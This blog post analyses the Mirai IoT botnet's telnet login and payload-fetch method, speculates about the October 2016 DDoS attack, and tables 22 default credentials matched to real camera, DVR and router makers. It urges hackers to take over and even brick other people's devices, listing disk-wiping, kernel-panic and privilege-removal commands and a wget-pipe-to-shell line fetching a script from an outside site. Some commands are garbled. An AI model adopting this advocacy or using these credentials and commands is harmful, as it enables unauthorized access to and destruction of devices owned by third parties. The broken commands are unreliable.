The first thought for anyone who has examined the Mirai codebase is how well the application was coded. The second thought is how easy it would be to disable. Mirai’s application design is simple, well architected, and well coded – but it’s primary function is a C&C server (that takes advantage of ridiculously stupid security on a set selection of IoT devices). Being a C&C server inherently means you can control the Mirai botnet with it – even to the point of shutting it down – permanently.
In a nutshell, Mirai contains a list of 60 unique username/password combinations commonly used on IoT devices as default logins or factory backdoors. Mirai iterates through the table of username/passwords, attempting to login to the device via telnet. If successful, it relays the authentication details back to the C&C server which uses the login details to telnet into the device and wget (or tftp) an upload containing DDoS instructions. It’s a simple process that works on all types of devices because they are all based on BusyBox, a version of Linux popularly used on embedded devices.
The key of course, is the telnet service which is enabled on the IoT devices. Once you have an open shell, you’re pretty much free to do whatever you want on the device – including a variety of means to lock it down. The question that scares me most is – who’s going to lock these devices down first, black hats or white hats?
Disabling the Mirai botnet
Mirai itself could be used to own the IoT devices. Simply change the two wget and tftp lines to any number of shell commands which would lock the device down. Maybe a passwd command with a password other than “1234”? How about modding the kernel to support iptables and rearranging port access? Or maybe disabling telnet entirely (Mirai does this but once the device is rebooted, telnet is available again)?
BusyBox provides plenty of Linux functionality. I’ll get you started – here’s a BusyBox cheatsheet of available commands:
Do you see anything useful in the list of available commands above? How about running any of these commands on the IoT device (WARNING: Do not try these at home!):
Overwrite the drive with raw data
command > /dev/had
Delete drive contents
rm -rf /
Format the ddrive
Wipe the drive
dd if=/dev/zero of=/dev/had
mv / /dev/null
See if a kernel panic is possible
dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/zero > /dev/mem
The infamous fork bomb
Disable administrative access
rm -f /usr/bin/sudo;rm -f /bin/su
Or be creative and turn the device into something useful instead of a DDoS army to attack DNS (at what point will we wise and use blockchain!).
wget http://www.newworldhackers.org/hello.sh -O- | sh
Shodan showed us a long time ago that insecure IoT devices were a problem. My take on this: If the manufacturers of the devices remain irresponsible, hackers should “fix” the devices for them – even to the point of bricking the device or modifying the firmware.
The 10/21 Mirai DDoS attack
There have been a lot of questions surrounding the 10/21 DDoS attack, particularly the question of who launched the attack. Within days, New World Hackers claimed responsibility and then seemed to back off from their claims. Some believe the attack was Russian sponsored, possibly a demonstration of the potential consequences of a American retaliatory attack for the DNC breakins. Few are blaming China who would glean no benefit from the attack (even though I saw a large uptick of attack traffic from China during the DDoS event). And since Mirai code leaked days before the attack, a lone hacker is certainly a possibility. My money is on an independent hacking collective.
The other question relates to Mirai itself – who wrote it? The code looks professional. Whoever constructed it was either a pro or well taught. The readme that accompanied the code drop was written in broken English while the comments in the code were written in perfect English (even with American slang). Then there are thise unusual Russian Cyrillic strings used in error message. A potpourri of various languages and coding styles make identification very confusing indeed. If I had to venture a guess, I’d say it was authored in America but by no means would I stake any money on that.
List of Mirai username/passwords and vulnerable devices
Mirai actually contains 61 username/password combinations but one was inadvertently duplicated by the author leaving 60 unique sets. The username/password combinations were obfuscated in the code but can easily be deciphered by running Mirai’s included encoding routine. Below are the 60 username/password combinations used in Mirai. I included the applicable device and manufacturer because, well, they deserve to be publicly humiliated.
|666666||666666||Dahua IP Camera|
|admin||1111111||Samsung IP Camera|
|admin||123456||ACTi IP Camera|
|admin||meinsm||Mobotix Network Camera|
|root||[empty]||Vivotek IP Camera|
|root||54321||Packet8 VOIP Phone|
|root||7ujMko0admin||Dahua IP Camera|
|root||7ujMko0vizxv||Dahua IP Camera|
|root||admin||IPX_DDK Network Camera|
|root||anko||ANKO Products DVR|
|root||dreambox||Dreambox TV receiver|
|root||hi3518||HiSilicon IP Camera|
|root||ikwb||Toshiba Network Camera|
|root||juantech||Guangzhou Juan Optical|
|root||jvbzd||HiSilicon IP Camera|
|root||klv123||HiSilicon IP Camera|
|root||klv1234||HiSilicon IP Camera|
|root||pass||Axis IP Camera|
|root||xc3511||H.264 Chinese DVR|
|root||xmhdipc||Shenzhen Anran Security Camera|
|root||zlxx||EV ZLX two-way speaker|
|ubnt||ubnt||Ubiquiti AirOS Router|